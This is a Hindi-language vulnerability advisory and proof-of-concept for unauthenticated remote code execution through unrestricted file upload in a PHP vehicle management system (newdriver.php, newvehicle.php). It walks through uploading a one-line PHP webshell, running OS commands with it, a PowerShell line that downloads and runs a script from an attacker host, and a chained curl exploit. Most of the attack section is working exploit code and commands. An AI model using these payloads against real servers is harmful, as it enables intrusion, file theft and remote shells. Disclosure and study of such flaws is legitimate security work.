
प्रमाण-अवधारणा शोषण (PoC) वाहन प्रबंधन प्रणाली PHP V1.0 में असीमित फ़ाइल अपलोड के माध्यम से अप्रमाणित दूरस्थ कोड निष्पादन के लिए। इसमें विस्तृत पुनरुत्पादन चरण, curl PoC, और PHP वेबशेल पेलोड शामिल है।
| क्षेत्र | विवरण |
|---|---|
| उत्पाद | वाहन प्रबंधन प्रणाली PHP में |
| विक्रेता | code-projects.org |
| संस्करण | V1.0 |
| भेद्यता प्रकार | अप्रतिबंधित फ़ाइल अपलोड जिससे रिमोट कोड निष्पादन होता है (CWE-434) |
| प्रभावित फ़ाइलें | newdriver.php, newvehicle.php |
| पैरामीटर | photo (POST, multipart/form-data) |
| प्रमाणीकरण आवश्यक | नहीं (अप्रमाणित) |
| CVSS स्कोर | 10.0 क्रिटिकल |
| हमला वेक्टर | दूरस्थ / नेटवर्क |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
code-projects.org द्वारा वाहन प्रबंधन प्रणाली PHP V1.0 newdriver.php (और समान रूप से newvehicle.php) में अप्रतिबंधित फ़ाइल अपलोड के माध्यम से अप्रमाणित रिमोट कोड निष्पादन के लिए संवेदनशील है।
एप्लिकेशन newdriver.php पर एक केवल-व्यवस्थापक "नया ड्राइवर" पंजीकरण फॉर्म प्रदर्शित करता है जिसमें एक फोटो अपलोड फ़ील्ड शामिल है। हालांकि, एंडपॉइंट कोई सत्र सत्यापन नहीं करता है — कोई भी अप्रमाणित हमलावर सीधे उस तक पहुँच सकता है बिना लॉगिन पर रीडायरेक्ट हुए। इसके अलावा, फोटो अपलोड फ़ील्ड PHP फ़ाइलों सहित किसी भी फ़ाइल प्रकार को स्वीकार करता है, जिसमें कोई एक्सटेंशन फ़िल्टरिंग, MIME प्रकार सत्यापन, या सामग्री निरीक्षण नहीं है।
एक हमलावर यह कर सकता है:
newdriver.php पर बिना किसी सत्र या क्रेडेंशियल के जाएं/picture/ निर्देशिका में सहेजा जाता हैइसके परिणामस्वरूप वेब सर्वर प्रक्रिया के विशेषाधिकारों के साथ पूर्ण रिमोट कोड निष्पादन होता है।
Unauthenticated HTTP Request
↓
newdriver.php (no session check)
↓
photo field accepts .php file (no file type validation)
↓
Shell saved to /picture/web_shell.php
↓
GET /picture/web_shell.php?cmd=whoami
↓
RCE — arbitrary OS command execution
बिना सत्र वाला एक नया ब्राउज़र खोलें (गुप्त/निजी विंडो)। सीधे एंडपॉइंट पर जाएं:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php
नया ड्राइवर फॉर्म बिना किसी प्रमाणीकरण जांच और लॉगिन पर रीडायरेक्ट के सफलतापूर्वक लोड होता है।
एक सरल PHP कमांड निष्पादन वेबशेल बनाएं:
<?php system($_GET['cmd']); ?>
इसे shell.php (या कोई .php फ़ाइलनाम) के रूप में सहेजें।
ड्राइवर फॉर्म फ़ील्ड को किसी भी मान से भरें और PHP वेबशेल को फोटो अपलोड के रूप में चुनें:
ड्राइवर का नाम: test
मोबाइल: 1234567890
ड्राइवर ज्वाइनिंग दिनांक: 2026-05-19
राष्ट्रीय आईडी: test
लाइसेंस नंबर: test
लाइसेंस समाप्ति दिनांक: 2026-05-30
ड्राइवर का पता: test
फोटो: shell.php ← PHP वेबशेल यहाँ अपलोड की गई
सबमिट क्वेरी पर क्लिक करें।
एप्लिकेशन "पंजीकरण पूर्ण!" के साथ प्रतिक्रिया करता है — यह पुष्टि करता है कि PHP शेल स्वीकार कर ली गई और बिना किसी सत्यापन के सहेज ली गई।
/picture/ निर्देशिका में अपलोड की गई शेल पर जाएं और cmd पैरामीटर के माध्यम से OS कमांड पास करें:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami
सर्वर कमांड निष्पादित करता है और आउटपुट लौटाता है:
desktop-g1i9np3\dell
# Read sensitive files
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php
# List web root
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\
# Full reverse shell via PowerShell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
newvehicle.php में समान भेद्यता मौजूद है। एक अप्रमाणित हमलावर वाहन फॉर्म (नया वाहन जोड़ें) तक पहुँच सकता है, वाहन फोटो फ़ील्ड के माध्यम से PHP वेबशेल अपलोड कर सकता है, और उसी विधि से RCE प्राप्त कर सकता है।
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php
दोनों एंडपॉइंट एक ही मूल कारण साझा करते हैं: कोई सत्र सत्यापन नहीं और कोई फ़ाइल अपलोड प्रतिबंध नहीं।
curl -s -X POST \
"http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
-F "dname=test" \
-F "mobile=1234567890" \
-F "djoiningdate=2026-05-19" \
-F "nid=test" \
-F "licenseno=test" \
-F "licenseenddate=2026-05-30" \
-F "daddress=test" \
-F "[email protected];type=image/jpeg" \
&& echo "[+] Shell uploaded" \
&& curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"
newdriver.php और newvehicle.php दोनों संवेदनशील| फ़ाइल | अपलोड फ़ील्ड | शेल भंडारण पथ |
|---|---|---|
newdriver.php | photo | /picture/ |
newvehicle.php | photo | /picture/ |
Syed Imad Uddin Alvi (imad alvi)
स्वतंत्र सुरक्षा शोधकर्ता